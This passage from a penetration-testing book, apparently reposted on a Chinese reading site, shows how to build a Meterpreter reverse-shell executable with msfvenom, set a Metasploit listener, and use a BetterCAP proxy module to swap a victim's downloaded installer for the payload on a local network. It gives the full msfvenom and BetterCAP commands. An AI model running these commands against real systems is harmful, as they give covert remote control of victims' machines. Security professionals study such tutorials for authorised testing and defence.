上QQ阅读APP看书，第一时间看更新

Creating the payload and connect-back listener with Metasploit

Of course, you can replace a target file with anything you want. For the purposes of our demonstration, we'll create a payload designed to connect back to our Kali box where a listener is ready, and setting it up will give us a little more hands-on experience with the mighty Metasploit.

Let's create our payload with msfvenom, a standalone payload generator. We'll be having more fun with msfvenom later in the book. I only run the command after I'm established on the network where I want to receive my connect-back from the target, so I start with an ifconfig command to grep the connect-back IP address that needs to be coded into the payload. In this case, it's 192.168.108.94, so I will run the following command:

# msfvenom -p windows/meterpreter/reverse_tcp -f exe lhost=192.168.108.94 lport=1066 -o setup.exe

The options are straightforward: -p defines our payload, in this case, the connect-back meterpreter session; -f is the file type; lhost is the IP address that the target will contact (that's us) at our lport (1066 because of the Battle of Hastings – just a little trivia to keep things interesting).

We have our payload, ready for transmitting. Before we send it somewhere, we need a listener standing by. We fire up msfconsole, enter use exploit multi/handler, and set our options:

LHOST can be the IP assigned to our interface or just the zero address. Make sure LPORT matches what you configured in your payload executable. Execute exploit, and we're waiting for our meterpreter session to phone home. Now, we progress to BetterCAP configuration and launch. Meanwhile, our target, 192.168.108.96, is browsing the home page for a tool called PdaNet. He's getting ready to download the installer, PdaNetA5105.exe. First, let's check out the BetterCAP command and break it down:

# bettercap -T 192.168.108.96 --proxy-module replace_file.rb --file-extension exe --file-replace setup.exe --no-sslstrip

Following are the terms used in the preceding command:

-T is our target selection—the system that will be browsing for an installer and hence will receive our payload.
--proxy-module calls out the Ruby file we created at the top of this section, replace_file.rb.
--file-extension and --file-replace should be familiar – they're defined in the module code. We tell it we're looking to replace .exe requests with our binary locally stored as setup.exe.
And finally, we're not HTTP downgrading here, so we disable that with --no-sslstrip.

As BetterCAP runs and listens, our target browses the installer's homepage:

Our target downloads the file, and everything looks completely normal on that end – even the filename. Meanwhile, the BetterCAP terminal window shows us that the request was intercepted and the download target was replaced with our binary:

On the receiving end, note the filename – precisely what was requested. But, now look at the file size – it matches our meterpreter payload. Everything is essentially untouched except for the binary payload; no cloning sites and spoofing DNS required, making this a particularly quiet attack:

Upon executing the payload, our connect-back handler starts lighting up and a session is created. I use the sysinfo command as shown in the following screenshot to confirm that we have control: